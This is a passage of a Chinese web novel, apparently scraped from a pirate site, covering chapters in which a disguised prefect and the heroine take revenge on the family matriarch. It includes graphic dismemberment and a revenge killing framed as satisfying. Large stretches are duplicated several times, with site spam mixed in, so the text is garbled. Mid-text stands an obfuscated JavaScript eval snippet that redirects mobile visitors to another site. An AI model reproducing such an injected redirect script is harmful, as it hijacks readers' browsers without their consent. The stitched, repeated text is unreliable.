李珍同样望着叶绯霜,觉得妹妹的担忧不无道理。 她们来郑府的时间虽然不算长,但已经见识了郑老太太的阴险。 李珍还记得姑娘之前的叮嘱,她说:“老太太先前就在府内散布四房不详的言论,想必打算用鬼神之说对付我。此类手段必有秽物为依凭,你们好好盯着,他们要是在玉琅阁放东西,你们第一时间拿出来,把我的经书换进去,然后把换出来的东西送去鼎福居,交给明秀,让她放进傅闻达房间里。 宗族大祭那天就是个好机会,府内空虚,他们搜查的时候会让下人们都聚在院子里,很可能在这个时候动手脚。你们不是郑府的下人,不在名册上,他们也不知道你二人的存在,所以你二人务必藏好,盯住了。” 宗族大祭那天,她们姐妹俩分别躲在主屋和五姑娘房间里的房梁上,如姑娘所言,果然有人把一个匣子放进了姑娘房间里。 要不是姑娘提前有准备,真被判成行蛊之人,恐怕被烧死的就是她了。 “不要紧。”叶绯霜并不担心,“她想跑,也得有那个本事好好到京城才行。” 叶绯霜看了一眼天色,估摸着杜知府快下值了,对小桃说:“让你哥哥去杜府说一声,我要去见杜大人。” 第196章 真中风了 郑文煊等人回京那天,天朗气清,惠风和畅。 郑老太太虽然万般不情愿,但还是被人扶着上了马车。 车帘落下的一瞬间,郑老太太看向了叶绯霜,她的目光阴毒而狠厉,像吐着信子的毒蛇。 叶绯霜坦然回视着她,无怯无惧。 郑文朗上马后,嬉皮笑脸地问叶绯霜:“五妹妹真不跟我们一块儿去京城玩玩?二妹妹很是想你。” “我也很想二姐姐,所以给二姐姐写了信,托大哥转交。”叶绯霜后退一步,“三哥一路平安,珍重。” 郑文朗也不强求,朗笑道:“得了,走!” 车马粼粼声逐渐远去,卫队的身影消失在了长街尽头。 叶绯霜没有回府,去了味馨坊。 铜宝禀报说:“杜大人早上便出城了。” 叶绯霜不急,等到天色稍晚了,才换了衣服,戴上面巾,牵出她的枣红马爱美,带着李珍李珠出城。 城外三十里处,遇见了早就等在那里的一行人,李珍说:“这一队是王妃的私兵,平时鲜少出手。姑娘放心,绝对不会让人看出和璐王府有关。” 初夏天气多变,上午还日光朗朗,下午就阴天了,傍晚还飘起了小雨。 郑府车队行出约百里,在邸店歇脚过夜。 郑老太太和傅湘语在丫鬟婆子们的簇拥下上了楼,郑文煊郑文朗等人在一楼堂中喝茶,听来往客商闲话。 天越来越黑,如酥小雨也变成了瓢泼大雨。 清冷的夜风吹开了门扉,一行穿蓑衣戴斗笠的人走了进来。 郑文煊看见来人愣了一下:“杜大人?” 杜知府随和地跟二人打招呼打招呼:“二位郎君。” 郑文朗问:“杜大人怎么在这里?” “府县正在案比,本官下乡核查。” 案比全称案户比民,是大昭的户籍核查登记制度,作为赋役征发的依据,每年都要执行。 “杜大人事必躬亲,实在辛苦。”郑文煊叹道。 杜知府脱下蓑衣,里边的浅灰色衣袍已经湿成了深灰色。 他的随官订好了客房,杜知府和郑文煊郑文朗寒暄了几句,就上楼了。 郑文朗看着杜知府的背影,忽然笑了一声。 郑文煊问:“笑什么?” 郑文朗道:“我前些年去京兆府,认识了杜家一位郎君,正是杜大人幼弟。那位郎君醉心书画,不欲出仕,究其原因,他说官场如百鬼夜行,会将人变得面目全非,他害怕。” 饮了口茶,郑文朗继续道:“杜郎君说,他二哥,也就是杜大人,幼时是位温柔爱笑的小郎君,很疼下边几个弟弟。可是当了几年官回去后,变得严肃冷漠,和他们也不亲了,唉。” 郑文煊倒不觉得稀奇:“人总是会变的,幼童和成人怎能一样?况且杜大人来荥阳前,在偏远的嶂州为官,那等穷山恶水之地,若不心硬如铁,如何驭下治民?” 郑文朗耸耸肩,不置可否。 杜知府换了身干净的衣服,然后去了郑老太太房间外边。 他问门口的侍女:“老太太可歇下了?” “尚未,杜大人有何事?” “衙门正在案比,傅郎君乃是举人,针对他的身死,本官尚有些细节需请问老太太。” 侍女进去通报后,很快打开房门:“杜大人请。” 邸店房间虽不够华丽,但好在足够干净整洁。 郑老太太坐在软榻上,精神不是很好的样子,宁神静气的安息香也无法排解她胸中的苦闷。 侍女们斟了茶就出去了,房间内只剩下了杜知府和郑老太太。 “杜大人想问什么?”郑老太太问。 没有听到回答,郑老太太转脸,见杜知府正盯着她看。 他的目光虽不冒犯,但也绝对称不上友好。 “本官没什么好问的。”杜知府说,“本官带了一个人来见老太太。” 郑老太太蹙起眉头,不太理解他的意思。 杜知府从怀中取出一个扁盒,递过去。 郑老太太一打开,见盒子里边装了个拨浪鼓。 她更加不解了:“这是什么?” “您不认识吗?是您把她变成这个样子的。”杜知府惯来严肃的脸上露出一抹笑,挤出眼尾深深浅浅的纹路,“这是我娘啊。” 在郑老太太陡然变得震惊的目光中,杜知府继续说:“或许你们更习惯叫她杨姨娘。” “暌违三十四年,特来向母亲问安。”杜知府缓缓道,“母亲可还认得我?我是郑清。” 郑老太太张口欲叫,但被杜知府捂住了嘴。 “怕了?你也有怕的时候?”杜知府居高临下地睨着老太太,声音森寒,“当初虐杀我娘亲时,你可想到会有今日?我想到了,我一直都盼着这一天,盼了许久许久。” “你说我该把你做成什么呢?把你的头骨做成酒瓶送给你大儿子,皮做成皮影送给你三儿子,骨头磨成骨剑送给你小儿子,怎么样?” 守在门口的侍女忽然听到房间内传来一叠声的呼唤:“老太太,您怎么了?” 她急忙推门进去,见老太太软在榻上,身体抽搐,双目发直,青紫色的嘴唇不断翕动,却发不出任何音节,只有喉咙里溢出意味不明的哼叫声。 而杜知府肃立一边,眉头紧蹙,显然也被郑老太太的突发情况给惊到了。 郑文煊和郑文朗很快就被叫了过来。 兄弟二人一看郑老太太这个样子,就暗道不好。 “针对傅举人的死,我正在问老太太一些细节,老太太哭着哭着,忽然就这样了。”杜知府懊悔道,“我本来想着案比之后,把傅举人的事迹上报礼部,为傅举人博一个孝名,好全了他的孝心,不曾想老太太……” 郑文煊说:“祖母悲伤过度了,杜大人无需自责。” 他请杜知府回去歇息,然后走到榻边,低声叫郑老太太:“祖母,杜大人已经走了,您别怕。” 郑文煊以为郑老太太又在装。 毕竟傅闻达不是真的为了救外祖母而死的,他是行了巫蛊被族人烧死了。要是被杜知府知道实情,别说孝名了,傅闻达怕是要臭名昭著。 杜知府可能盘问得很细致,祖母无法招架了,索性又以一招装病来逃避。 可是无论郑文煊怎么喊,郑老太太一丝清醒的迹象都没有,反而愈发严重了,口角滴落的涎水几乎要淌成河。 郑文朗立刻道:“大哥,祖母这次怕是真中风了。这里大夫和药材都不够,咱们得回去。” 没有任何人怀疑杜知府,毕竟他清名在外,且和郑老太太无仇无怨。细说起来,他还是郑老太太的前侄女婿呢。 只能是郑老太太年纪大了,受不了外孙离世的打击,这才垮了。 于是一行人立刻收拾,抬着郑老太太,又冒着雨兵荒马乱地回荥阳城去。 杜知府站在邸店门口,送一行人离开。 母仇未报心如火,日夜思量恨不休。 而今暗夜行路终见光,积云散尽现苍穹。 杜知府望着漆黑夜幕中的雨帘,喃喃道:“今晚可以做个好梦了。” 第197章 老太太死 幼年的阴影像一场连绵不断的阴雨,他怎么都跑不出那段泥泞的路。 郑清记得娘亲去世那晚,也是一个暴雨瓢泼的夜。 她病了太久,被折磨了太久,死的时候都没有了人形。 小小的郑清想过很多次,是不是娘亲**就不会这么难受了。 可是他又自私地想,娘亲不要死,否则他就真的只是独自一人了。 “我儿。”杨姨娘干瘦的手摸着他枯黄的头发,深凹下去的眼眶里溢出大颗大颗的泪,“娘**,你可怎么办啊。吃什么,穿什么?娘亲放不下你,也护不住你。” 他娘亲是个十分坚强的女人,不管多难受多痛苦,郑清都没见她掉过泪。 她总是笑着安慰他,说娘亲不疼。 只有在临死时,看着前路迷茫的幼子,她再也控制不住眼泪。 她终究没有瞑目,带着无尽的担忧,在那个雨夜咽了气。 第二天,她的尸身就被两个婆子粗暴地拖走了,在泥泞的地面上拉出一道长长的印子。 娘亲没有给郑清留下什么遗物,因为她所有稍微值钱的东西已经在过去几年里全都用来换了衣食。 罗妈妈来收母亲的用品,说都要拿去烧掉,府里不能留下这些晦气的东西。 郑清拽着母亲的破烂衣裙不放手,说要留个念想,换来一通毒打。 “那是我娘亲的东西,你们不能动。”他鼻青脸肿地大喊,但是没人听。 过了没几天,是他的生辰,他没心思、也没条件过。 不曾想罗妈妈来了,不光给他带来了肉丝面,还送给他一个小玩具——一个拨浪鼓。 已经饿了好几天,郑清狼吞虎咽地吃碗面,把拨浪鼓拿在手里玩。 他从小就没有什么玩具,拨浪鼓叮咚叮咚的声音真好听。 “好玩吗?”罗妈妈笑着问。 郑清鼓鼓的腮帮子里还盛着没有咽下去的面,连连点头。 “这是拿你娘做的。”罗妈妈说,“鼓柄是你娘很会跳舞的腿,鼓面是你娘漂亮的脸蛋,鼓锤是你娘很会弹琵琶的手指。老太太的主意是不是很好?” “你不是想留个念想吗?那直接让你娘陪着你,多好。” 那一刻,郑清无比希望自己是个 傻子,这样就不会听懂罗妈妈的话了。 他把刚刚吃的面全都吐了出来,吐到胃里的酸水都没了,可他还是在呕。 他都不敢想这碗肉丝面是不是一碗正常的肉丝面。 握着拨浪鼓的郑清以为自己该疯掉,可他并没有,他清醒得很,脑中无比清明地冒出一个念头:他要逃出去,他要好好活着,他要为娘亲报仇。 之后几年的折磨他都咬着牙挺了过来,最后在一位受过娘亲恩惠的大夫的帮助下,逃离了郑府。 他以为他孑然一身,这辈子不会再经历至亲离世的痛苦。 直到十五年前,他的结拜弟弟杜临去世。 杜临和他不一样。他冷漠偏执阴暗,而杜临善良温和谦逊。 杜临经常摇着把折扇,老神在在地叹息:“六哥,人可以为报仇而活,但不能只为报仇而活。我很怕你为了报仇把自己搭进去啊,这可怎么办。” 于是最后,杜临用遗愿给郑清上了一道枷锁。 “我已经申请外调,嶂州,够远了吧?那里没人认识你我。我是挺不到那里了,以后就拜托六哥了。” 杜临把文书、官印交给郑清,咳嗽着说:“六哥,郑清太苦了,不要做了,以后做杜临杜景才吧。” 郑清不接,杜临病容憔悴但一双笑眼仍然弯弯的,好声好气地央求:“六哥,就帮帮弟弟吧,好不好?我平生志向就是做个利国利民的好官,拜托你,哪怕不能让杜景才这个名字名垂青史,也起码让百姓提起来人人称颂吧。” 郑清知道,杜临只是想让他好好活着,永远保持理智。所以用这么一个遗愿拴住了他,让他不要不顾性命地报仇,更不要把自己搭进去。 果然,杜临死在了去嶂州的路上。 然后郑清成为了杜临。 当初郑清在幽山把杜临救下,就是觉得这孩子和他长得挺像,他们有缘。 为了当一个好官,他事必躬亲,累得又黑又瘦,沧桑不已。 以至于回了京兆杜家,那些人都没有发现他是个西贝货。 也是,杜临十岁离家进京,如今已经二十五岁,十五年光阴横贯其间,相貌、性格都会改变。 但还是有人背地里议论,说二公子性格变化太大了,都不像杜家人了。 杜夫人看出来了在他说出杜临的遗愿后杜夫人没有拆穿他。 只是郑清没有想到造化弄人杜家给他聘的妻子竟然是小秦氏他杀母仇人的侄女。 没有正当理由拒绝 他对这个妻子除了厌恶生不出任何感情。 前年重阳节小秦氏提议让他带着学子和官员们登南山并且在味馨坊订了糕点他就知道她要动作了。 于是他装作什么都不知道顺水推舟并且在事后干脆利落地休了她依律判她刑罚得到了“杜知府大公无私、大义灭亲”的好赞誉。 其实郑家的人他一个都没想放过的不曾想去年娘亲忌日四房竟去祭拜了娘亲。 他的四弟和四弟妹是好的他那小侄女也是个聪明人。 前天她来找自己第一句话竟然是:“二伯死老太婆要进京了。” 她叫他二伯。 她认出来了。 除了杜夫人第一个认出他的竟然是这个从未见过真正的杜临的小侄女。 “二伯若有什么想说的、想问的只管去吧。”小侄女说“不然以后就没机会了。” 想到这里杜知府的房门忽然被敲响随官焦急的声音传来:“大人不好了出事了!” 他开门问:“怎么了?” “郑家人在回荥阳的路上遇到了土匪!报信的人说情况很是惨烈。” 杜知府穿好蓑衣冒雨带着随官和侍卫们赶往事发地。 等到了那里只见人仰马翻好不狼狈所谓的土匪早就跑得无影无踪了。 最大的那辆马车外许多人在痛哭。 “老太太没了!” 杜知府过去看了一眼只见郑老太太被砍得面目全非右腿和左手都被砍掉了脸被划得稀烂但仍可见双目圆睁死不瞑目。 又有人喊起来:“傅姑娘的血止不住啊!” 只见傅湘语后背的伤口从左肩直至右腰横贯了整个背部现在血流如注傅湘语早已陷入了昏迷。 郑家队伍一片混乱。 而在这样的混乱中杜知府感受到了前所未有的畅快和轻松。 大雨瓢泼仿佛可以冲刷走所有的肮脏和险恶。 杜知府想明天一定会是一个艳阳天。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 杜夫人看出来了,在他说出杜临的遗愿后,杜夫人没有拆穿他。 只是郑清没有想到造化弄人,杜家给他聘的妻子,竟然是小秦氏,他杀母仇人的侄女。 没有正当理由拒绝,他就只能接受。每次看到小秦氏,他都会想到她姑母那张面目可憎的脸。 他对这个妻子除了厌恶生不出任何感情。 前年重阳节,小秦氏提议让他带着学子和官员们登南山,并且在味馨坊订了糕点,他就知道她要动作了。 于是他装作什么都不知道,顺水推舟,并且在事后干脆利落地休了她,依律判她刑罚,得到了“杜知府大公无私、大义灭亲”的好赞誉。 其实郑家的人他一个都没想放过的,不曾想去年娘亲忌日,四房竟去祭拜了娘亲。 他的四弟和四弟妹是好的,他那小侄女也是个聪明人。 前天她来找自己,第一句话竟然是:“二伯,死老太婆要进京了。” 她叫他二伯。 说更新,记住域名caixs?(请来才小 说 看最新章节 完整章节) 她认出来了。 除了杜夫人,第一个认出他的竟然是这个从未见过真正的杜临的小侄女。 “二伯若有什么想说的、想问的,只管去吧。”小侄女说,“不然以后就没机会了。” 想到这里,杜知府的房门忽然被敲响,随官焦急的声音传来:“大人,不好了,出事了!” 他开门,问:“怎么了?” “郑家人在回荥阳的路上遇到了土匪!报信的人说,情况很是惨烈。” 杜知府穿好蓑衣,冒雨带着随官和侍卫们赶往事发地。 等到了那里,只见人仰马翻,好不狼狈,所谓的土匪早就跑得无影无踪了。 最大的那辆马车外,许多人在痛哭。 “老太太没了!” 杜知府过去看了一眼,只见郑老太太被砍得面目全非,右腿和左手都被砍掉了,脸被划得稀烂,但仍可见双目圆睁,死不瞑目。 又有人喊起来:“傅姑娘的血止不住啊!” 只见傅湘语后背的伤口从左肩直至右腰,横贯了整个背部,现在血流如注,傅湘语早已陷入了昏迷。 郑家队伍一片混乱。 而在这样的混乱中,杜知府感受到了前所未有的畅快和轻松。 大雨瓢泼,仿佛可以冲刷走所有的肮脏和险恶。 杜知府想,明天一定会是一个艳阳天。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 杜夫人看出来了,在他说出杜临的遗愿后,杜夫人没有拆穿他。 只是郑清没有想到造化弄人,杜家给他聘的妻子,竟然是小秦氏,他杀母仇人的侄女。 没有正当理由拒绝,他就只能接受。每次看到小秦氏,他都会想到她姑母那张面目可憎的脸。 他对这个妻子除了厌恶生不出任何感情。 前年重阳节,小秦氏提议让他带着学子和官员们登南山,并且在味馨坊订了糕点,他就知道她要动作了。 于是他装作什么都不知道,顺水推舟,并且在事后干脆利落地休了她,依律判她刑罚,得到了“杜知府大公无私、大义灭亲”的好赞誉。 其实郑家的人他一个都没想放过的,不曾想去年娘亲忌日,四房竟去祭拜了娘亲。 他的四弟和四弟妹是好的,他那小侄女也是个聪明人。 前天她来找自己,第一句话竟然是:“二伯,死老太婆要进京了。” 她叫他二伯。 她认出来了。 除了杜夫人,第一个认出他的竟然是这个从未见过真正的杜临的小侄女。 “二伯若有什么想说的、想问的,只管去吧。”小侄女说,“不然以后就没机会了。” 想到这里,杜知府的房门忽然被敲响,随官焦急的声音传来:“大人,不好了,出事了!” 他开门,问:“怎么了?” “郑家人在回荥阳的路上遇到了土匪!报信的人说,情况很是惨烈。” 杜知府穿好蓑衣,冒雨带着随官和侍卫们赶往事发地。 等到了那里,只见人仰马翻,好不狼狈,所谓的土匪早就跑得无影无踪了。 最大的那辆马车外,许多人在痛哭。 “老太太没了!” 杜知府过去看了一眼,只见郑老太太被砍得面目全非,右腿和左手都被砍掉了,脸被划得稀烂,但仍可见双目圆睁,死不瞑目。 又有人喊起来:“傅姑娘的血止不住啊!” 只见傅湘语后背的伤口从左肩直至右腰,横贯了整个背部,现在血流如注,傅湘语早已陷入了昏迷。 郑家队伍一片混乱。 而在这样的混乱中,杜知府感受到了前所未有的畅快和轻松。 大雨瓢泼,仿佛可以冲刷走所有的肮脏和险恶。 杜知府想,明天一定会是一个艳阳天。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 杜夫人看出来了在他说出杜临的遗愿后杜夫人没有拆穿他。 只是郑清没有想到造化弄人杜家给他聘的妻子竟然是小秦氏他杀母仇人的侄女。 没有正当理由拒绝他就只能接受。每次看到小秦氏他都会想到她姑母那张面目可憎的脸。 他对这个妻子除了厌恶生不出任何感情。 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听说和异性朋友讨论本书情节的,很容易发展成恋人哦 杜夫人看出来了,在他说出杜临的遗愿后,杜夫人没有拆穿他。 只是郑清没有想到造化弄人,杜家给他聘的妻子,竟然是小秦氏,他杀母仇人的侄女。 没有正当理由拒绝,他就只能接受。每次看到小秦氏,他都会想到她姑母那张面目可憎的脸。 他对这个妻子除了厌恶生不出任何感情。 前年重阳节,小秦氏提议让他带着学子和官员们登南山,并且在味馨坊订了糕点,他就知道她要动作了。 于是他装作什么都不知道,顺水推舟,并且在事后干脆利落地休了她,依律判她刑罚,得到了“杜知府大公无私、大义灭亲”的好赞誉。 其实郑家的人他一个都没想放过的,不曾想去年娘亲忌日,四房竟去祭拜了娘亲。 他的四弟和四弟妹是好的,他那小侄女也是个聪明人。 前天她来找自己,第一句话竟然是:“二伯,死老太婆要进京了。” 她叫他二伯。 她认出来了。 除了杜夫人,第一个认出他的竟然是这个从未见过真正的杜临的小侄女。 “二伯若有什么想说的、想问的,只管去吧。”小侄女说,“不然以后就没机会了。” 想到这里,杜知府的房门忽然被敲响,随官焦急的声音传来:“大人,不好了,出事了!” 他开门,问:“怎么了?” “郑家人在回荥阳的路上遇到了土匪!报信的人说,情况很是惨烈。” 杜知府穿好蓑衣,冒雨带着随官和侍卫们赶往事发地。 等到了那里,只见人仰马翻,好不狼狈,所谓的土匪早就跑得无影无踪了。 最大的那辆马车外,许多人在痛哭。 “老太太没了!” 杜知府过去看了一眼,只见郑老太太被砍得面目全非,右腿和左手都被砍掉了,脸被划得稀烂,但仍可见双目圆睁,死不瞑目。 又有人喊起来:“傅姑娘的血止不住啊!” 只见傅湘语后背的伤口从左肩直至右腰,横贯了整个背部,现在血流如注,傅湘语早已陷入了昏迷。 郑家队伍一片混乱。 而在这样的混乱中,杜知府感受到了前所未有的畅快和轻松。 大雨瓢泼,仿佛可以冲刷走所有的肮脏和险恶。 杜知府想,明天一定会是一个艳阳天。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 杜夫人看出来了在他说出杜临的遗愿后杜夫人没有拆穿他。 只是郑清没有想到造化弄人杜家给他聘的妻子竟然是小秦氏他杀母仇人的侄女。 没有正当理由拒绝他就只能接受。每次看到小秦氏他都会想到她姑母那张面目可憎的脸。 他对这个妻子除了厌恶生不出任何感情。 前年重阳节小秦氏提议让他带着学子和官员们登南山 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李珠得意地抬抬下巴,鄙夷道:“伤了我算什么?他们老太太都快被咱们姑娘砍成臊子了。连主子都护不住,一群饭桶。” 李珍问叶绯霜:“姑娘为何不直接取了那姓傅的性命?” 李珍看得清楚,叶绯霜刚才完全可以一刀把傅湘语的脑袋给削下来,但她只是在傅湘语背上砍了一刀。 “这一刀是让她还我娘的。”叶绯霜说,“挺不挺得过去,就看她的命了。” 李珠忙问:“她若挺过去了,姑娘便放过她了?” “怎么可能。”叶绯霜说,“让她死得太痛快岂非太便宜她。” 一行人回到一处不起眼的农庄里,换了干净衣服。 叶绯霜带着李珍李珠回家,其余人回璐王府向王妃复命。 回到玉琅阁时,已经快到晌午了。 小桃正在逗两只小狼崽。 小东西长得快,才五个月左右,已经有十多斤了。 皮**也没有刚带回来的时候那么黑了,变成了一种深灰色,以后应该会再浅一点。 两只小狼一公一母,叶绯霜为了它们的名字在玉琅阁集思广益,最后定下公狼叫战神,母狼叫酋长。 郑涟和靳氏听到这俩名字后齐齐无语了好一阵子,最后还是没有发 表什么意见,全凭女儿喜欢。 郑涟默默地在自己亲手做的两个石头狼屋上分别刻了战神和酋长两个名字,靳氏也在给小狼崽做的小衣服上绣了“神”和“长”。 小桃觉得这俩名字挺好,按她家姑娘的起名水平,不给狼起名叫白眼和大尾巴就算它俩逃过一劫了。 用完午膳,叶绯霜在正房和爹娘说话,其它人在院子里和狼一起玩,热闹得厉害。 李珍轻声问小桃:“会不会太吵了?” “不会不会,姑娘喜欢咱们闹腾。”小桃摆摆手,“姑娘说热闹些好,显得有活气儿。” 李珠:“啊,这话我奶也说过。” 小桃揣着手,老神在在:“习惯就好了,咱们姑娘有时候活泼跳脱,有时候老气横秋。” 路过的阿夏点了点小桃的头:“可以啊桃儿,都会四个字四个字地说话了。” 小桃骄傲得不行:“那是!跟了姑娘这么久,我也是半个文化人儿了!” 玉琅阁的欢声笑语在下午戛然而止。 不止玉琅阁,整个郑府都没人敢笑了。 谁敢想,老太太昨天竖着离家,今儿就横着回来了。 走的时候是一个人,回来的时候是好几块。 整个郑府立刻忙活起来,挂白幡、制丧服、发讣告…… 最可怜的是卢氏,从过年,到宗族大祭,又到现在婆母下世,已经连着忙活好几个月了,人都瘦了一圈。 灵堂设了起来,家里的小辈们都来守灵。 康氏哭得双目通红:“怎么会遇到土匪呢?那些杀千刀的,竟把母亲害成了这个样子!” 老太太的腿和手都缝回去了,寿衣一挡也看不见什么痕迹。就是脸被划得稀烂,怎么都弄不好,只得拿块面巾盖住。 叶绯霜跪在康氏旁边,往火盆里扔纸钱,眼泪大颗大颗地掉,啜泣着说:“就是,家里的侍卫都是做什么吃的,怎么连祖母都护不住?一群小小土匪而已,还让他们跑了。” 郑文朗精神头不怎么好,神情更加冷恹了:“五妹妹这话就不对了,那群人可不是什么小小土匪,厉害着呢。” “噢。”叶绯霜小声道,“对不住三哥哥,我不乱说了,我不懂这些。” 郑文朗扫了一眼叶绯霜 那细瘦的好似一下就能拧断的手腕,也不说什么了。 接到讣告的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166816|179968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人都来郑府吊唁。 让土匪**实在不光彩,更不是人们一直追求的“善终”,所以郑家对外的说法是老太太因外孙身死太过悲痛,这才遽然离世。 郑文煊给了杜知府压力,让他务必把那群可恶的土匪揪出来。 杜知府点头,满脸正色:“郎君请放心,本官定会严查。郎君节哀,珍重自身。” 璐王进京了,璐王妃带着宁衡来吊唁。 母子二人心里都替叶绯霜感到畅快,脸上却一个比一个哀戚,璐王妃还回忆起了昔日和郑老太太的二三事,落了几行泪。 卢季同也来了,还是住在他以前住的映竹轩里,顺便帮他姑母卢氏处理一些外院的事。 陈宴当然也得来,上过香烧了纸,看向跪在一边的叶绯霜。 她哭得好惨,眼睛肿得不成样子,清泪涟涟,任谁看了都要赞一句好一个大孝女。 陈宴面无表情地看了她一会儿,忽然走过去,捏住她的手腕,掰开她一直紧握着的右手。 果然,好大一块生姜。 他就知道。 在叶绯霜“敢说出去就砍了你”的威慑眼神下,陈宴重新阖上她的手,把她的袖子整好,温声道:“五姑娘至纯至孝,令人感怀。但还请节哀顺变,切莫太过伤心。” 叶绯霜:“呜呜……嗯。” 陈宴出了灵堂,正准备去找卢季同,却见傅湘语在两个侍女的搀扶下走了过来。 她身如弱柳,面色惨白,仿佛下一秒就会倒下去。 看见陈宴,傅湘语驻足,空寂的双眼里霎时间亮起了光。 陈宴的目光很轻地从傅湘语身上收回,从她身边经过。 “是她做的!”傅湘语忽然说。 陈宴脚步不停,傅湘语又说:“是叶绯霜,她杀了外祖母,伤了我!” 两个侍女对视一眼,恨不得自己聋了。 陈宴总算回头,没什么表情地看着傅湘语。 “就是她。”傅湘语一字一顿,“我认出她了。” “所以呢?” 傅湘语陡然愣住,不太明白陈宴这句反问的意思。 他是不相信自己的话,还是他相信了,但是并不在意呢? “所以我要拆穿她。”傅湘语一字一顿,“我会揭开她的真面目。” 傅湘语说罢,转身走进灵堂里。 第199章 无人相信 今天是郑老太太停灵的第三天。 傅湘语刚刚醒过来高热还没退是强打着精神来的。 背上的伤口痛得厉害每一次呼吸带来的皮肉起伏都仿佛把她的伤口重新撕开了一遍。 这三天她一直昏昏沉沉总是看见外祖母被砍掉手脚、划破脸皮的一幕。 外祖母的血溅到她脸上她还来不及害怕就被剧痛吞噬那横贯她后背的一刀几乎瞬间就要了她的命。 醒来后就听到噩耗外祖母**。 继哥哥**之后外祖母也**。 短短几天她失去了两位至亲。 傅湘语在极度的悲痛中 对方虽然戴着面衣但露出了眼睛傅湘语绝不可能认错的就是叶绯霜! 包括她砍自己的这一刀也是当初比着靳氏受的伤来砍的。 傅湘语走进灵堂指着叶绯霜大喊:“就是她她是杀害祖母的凶手!” 因为太过虚弱她的声音其实和蚊鸣差不多。 但好在这个时候灵堂很安静没人哭丧所以她的声音还是被听到了。 绝大多数人表示疑惑不明白她在说什么。 郑老太太不是病死的吗?怎么是**害的了? “我看见了就是她!她杀了外祖母又伤了我!”傅湘语控诉着“你们快把她抓起来啊她是**凶手!” 叶绯霜站起来冷静地说:“傅姐姐你是说我独自一人躲开郑府的重重护卫把祖母给杀了是吗?” “你不是独自一人你带了许多人!” 叶绯霜嗤了一声十分无奈的样子:“我一个闺阁女子哪来那么多人?” “肯定是璐王府借给你的!” “放肆!”郑文煊冷斥“璐王府也是你能随意攀咬的?” “大表哥我真的没有乱讲叶绯霜和璐王府关系好肯定是璐王府帮的她!你们要让她给外祖母偿命啊!” 她哭得实在是惨一副虚弱又苍白的样子也很让人动容。 但是她说的话实在让人无法相信。 试问是“叶绯霜一个小姑娘说动璐王府借给她一批顶尖高手把荥阳郑氏诰命在身的老太君给杀了 ”这种情况的可能性大还是傅湘语疯了的可能性大? 明显是后者。 郑文朗道:“傅表妹你说五妹妹杀了祖母她为何要那么做呢?” “因为她恨外祖母也恨我和哥哥她在报仇!哥哥也是被她害死的!” 在场的有不少郑氏族人听到这里确定傅湘语是疯了。 傅闻达是自作孽谁害他了? “她本来就敢**!”傅湘语继续哭诉“前年在鼎福居她就大开杀戒她厉害得很就连郑府的护卫们都没能拿她怎么样!” 闻言不少人打量了一下叶绯霜。 豆蔻年华的小姑娘身量纤盈孝服在身更显出几分柔弱之感 “有证据吗?”叶绯霜不紧不慢地问“你说我在鼎福居大开杀戒谁看见了?” 傅湘语愣住。 那晚在鼎福居的人外祖母、罗妈妈、哥哥、姨母都**。 鼎福居的下人们因为听到四老爷抖落出陈年密辛也被处置了。 郑府的护卫们因为办事不力事后也被打发到不知道哪里去了。 所以见到那晚情形的人除了她竟然就只剩下叶绯霜一家三口了。 傅湘语的嘴唇剧烈震颤整个人被一股巨大的茫然摄住。 不对还有一个人! 傅湘语指向外边:“陈公子看见了!当时你要杀我和哥哥是他拦住了你!” 她看向回到门口的陈宴:“陈公子你替我做证啊!你亲眼看见叶绯霜要杀我的哥哥你快说啊!” 傅湘语的眼中充满了希冀她庆幸当时遇见的是陈宴他一定会实话实说的。 只要他们怀疑了叶绯霜开始调查她一定能查出蛛丝马迹! 到时候就能让叶绯霜给外祖母和哥哥陪葬了! 陈宴抬眼傅湘语眼巴巴地看着他仿佛他是她的最后一分指望。 他又看向叶绯霜她垂眸而立淡然镇定浑然不在意他回答的样子。 陈宴垂在身侧的手轻微动了动忽然就想到了那天。 已经过去这么久了但那天叶绯霜的每一个表情、每一句话他竟然都还记得清清楚楚。 她和他争执 大骂他,拿失望又愤恨的目光看他。 当时他不理解为何她会那样,现在,在那么多梦境之后,他已经明白许多。 他总不能一直让她失望。 陈宴重新看向傅湘语:“傅姑娘,我不知道你在说什么。 傅湘语呆住,陈宴怎么不说实情呢? 她焦急地提示他:“那天你和陈夫人都在,叶绯霜要杀我和哥哥啊!她都杀红眼了,你拦住了她!哦对,她还骂了你和我! 叶绯霜歪了歪头:“我骂了你们什么? “你说……傅湘语陡然一噎。 她骂他们狗男女。 可是这怎么能说出来? 见陈宴也不帮她,傅湘语急怒攻心,神智彻底垮掉,不管不顾地说:“我说的都是真的啊,你们怎么不相信我呢?叶绯霜恨外祖母,因为外祖母把姨母塞进来,还把她扔…… “疯了,真是疯了!在老太太灵堂上如此吵嚷,成何体统!卢氏厉声打断傅湘语的话,“傅姑娘悲伤过度,言语无状,送她去别院安养,派几名大夫好好为她医治! 几个丫鬟立刻涌过来,捂住傅湘语的嘴把她扶走了。 傅湘语孤立无援,心殇不已,再也支撑不住,彻底晕了过去。 灵堂里的人继续该诵经的诵经,该烧纸的烧纸,谁也没有把傅湘语的疯话放在心上。 叶绯霜暗暗啧嘴,有点可惜。 怎么就不给傅湘语个说完的机会呢?把郑老太太干过的好事都抖出来啊。 是夜,叶绯霜回玉琅阁休息,今晚不用她守灵。 陈宴站在玉琅阁门口的一株垂柳之下,襕袍广袖和柳枝一起在夜风中轻摆,隽气清逸。 叶绯霜停在几步之外:“陈公子,外男进内院,非君子所为。 陈宴淡然反问:“我在五姑娘心中竟还是君子?那实在可喜可贺。 “陈公子是来问我祖母的死因的? “不是。陈宴摇头,“我问了你也不会说,索性不多费口舌了。 “那是? “我今日表现,你是否满意? 